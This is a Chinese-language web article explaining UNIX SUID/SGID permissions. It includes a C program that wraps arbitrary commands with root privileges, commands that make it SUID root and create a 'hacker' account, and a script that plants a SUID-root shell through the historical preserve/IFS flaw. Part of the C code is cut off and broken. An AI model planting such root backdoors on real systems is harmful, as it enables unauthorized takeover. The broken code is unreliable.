分享
 
 
 

UNIX文件的SUID/SGID

王朝system·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

一、 SUID/SGID概述

有时,没有被授权的用户需要完成某项任务。一个例子是passwd程序,它允许用户改变口令,这就要求改变/etc/passwd文件的口令域。然而系统管理员决不允许普通用户拥有直接改变这个文件的权利,因为这绝对不是一个好主意。

为了解决这个问题,SUID/SGID便应运而生。UNIX允许程序被授权,当程序被执行的时候,拥有超级用户的权限,完成时又回到普通用户的权限。这个主意很好,所以AT&T对它申请了专利。

二、 UNIX下的一些名词简介

1.文件权限。确定用户读取、修改或执行文件的权力。

r -- 读访问

w -- 写访问

x -- 执行许可

s -- SUID/SGID

t -- sticky位

2.进程。进程是程序运行一次的过程,以完成预定的任务,它不同于程序。每个进程都有一个唯一的进程ID。此外,每个进程还有一些其他标识符:实际用户ID、实际组ID、有效用户ID、有效组ID。超级用户进程的实际用户ID和有效用户ID为0。

3.超级用户root。超级用户拥有系统的完全控制权。

三、 SUID/SGID的思路

SUID的程序在运行时,将有效用户ID改变为该程序的所有者ID,使得进程在很大程度上拥有了该程序的所有者的特权。如果被设置为SUID root,那么这个进程将拥有超级用户的特权(当然,一些较新版本的UNIX系统加强了这一方面的安全检测,一定程度上降低了安全隐患)。当进程结束时,又恢复为原来的状态。

执行时的Real Uid可以通过函数setuid()改变

四、一个SUID程序

下面的程序是用来演示UNIX文件的SUID,取名为parent.c

#include 〈stdio.h〉

#include 〈stdlib.h〉

#include 〈unistd.h〉

#include 〈sys/types.h〉

int

main(int argc,char **argv)

{

int i;

char **argu;

uid_t uid;

uid=geteuid(); //获取调用进程的有效用户ID

if(argc<2){

fprintf(stderr,"usage: %s \n",argv[0]);

exit(0);

}

if(setuid(uid)<0){

fputs("setuid error.\n",stderr);

exit(1);

} //将调用进程的实际用户ID设置为有效用户ID

if((argu=(char**)malloc(argc*sizeof(char*)))==NULL){

fputs("malloc error.\n",stderr);

exit(1);

} //为execvp的参数指针数组分配内存空间

for(i=0;i

argu[argc-1]=(char *)0; //参数指针数组以空指针结尾

if(execvp(argv[1],argu)<0){

fputs("exec error.\n",stderr);

exit(1);

} //用execvp调用命令行参数指定的程序

exit(0);

}

该程序将一个SUID的进程转变为一个超级用户进程。将此程序编译成可执行目标文件parent ,用另一个简单的程序进行检验

int main(void){

printf("real uid=%d, effective uid=%d\n",getuid(),geteuid());

exit(0);

}

编译为printuids。运行程序得到下列结果:

$ ./parent printuids //正常执行,无特权

real uid=506, effective uid=506

$ su root

Password:

# chown root parent //更改所有者

# chmod u+s parent //添加SUID

# exit

$ ./parent printuidsv

real uid=0, effective uid=0 //该进程转变为超级用户进程

某一进程一旦转变为超级用户进程,将拥有系统的完全控制权。比如,我们可以这样执行演示程序:

$ ./parent useradd hacker

$ ./parent passwd hacker

故而,SUID的程序往往伴随着一定的安全问题。在早期的UNIX环境中,SUID/SGID的程序调用system()函数就存在着安全性漏洞。

五、 再谈SUID/SGID程序的安全问题

有时,一个SUID程序与一个系统程序(或库函数)之间的交互作用会产生连程序的编制者也不知道的安全漏洞。一个典型的例子是/usr/lib/preserve程序。它被vi和ex编辑器使用,当用户在写出对文件的改变前被意外与系统中断时,它可以自动制作一个正被编辑的文件的拷贝。这个保存的(preserve)程序将改变写到在一个专门的目录内的一个临时文件上,然后利用/bin/mail程序发送给用户一个"文件已经被存"的通知。

由于人们可能正在编辑一个私人的或一个机密的文件,被preserve程序(旧版)使用的那个目录不能被一般用户访问。为了使preserve程序可以写入那个目录,以及使recover程序可以从那里读,这些程序被设置为SUID root。 这个preserve程序有三个特点值得注意:

1. 这个程序被设置为SUID root。

2. 该程序以root用户的身份运行/bin/mail程序。

3. 该程序调用system()函数调用mail程序。

由于system()函数调用shell对命令字符串进行语法分析,而shell则使用IFS变量作为其输入字段的分割符。早期的shell版本在被调用是时不将此变量恢复为普通字符集。如果先将IFS设置为"/",然后调用vi程序,继而调用preserve程序,就有可能使usr/lib/preserve程序执行一个在当前目录下的bin程序(/bin/mail被解析为带有参数mail的bin程序)。

如果我们利用前面的演示程序编写一个简单的shell script文件命名为bin,它就有可能通过上面的安全漏洞被执行:

# shell script to make an SUID-root

shell

#

chown root parent

chmod 4755 parent

那么它的后果将是……

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有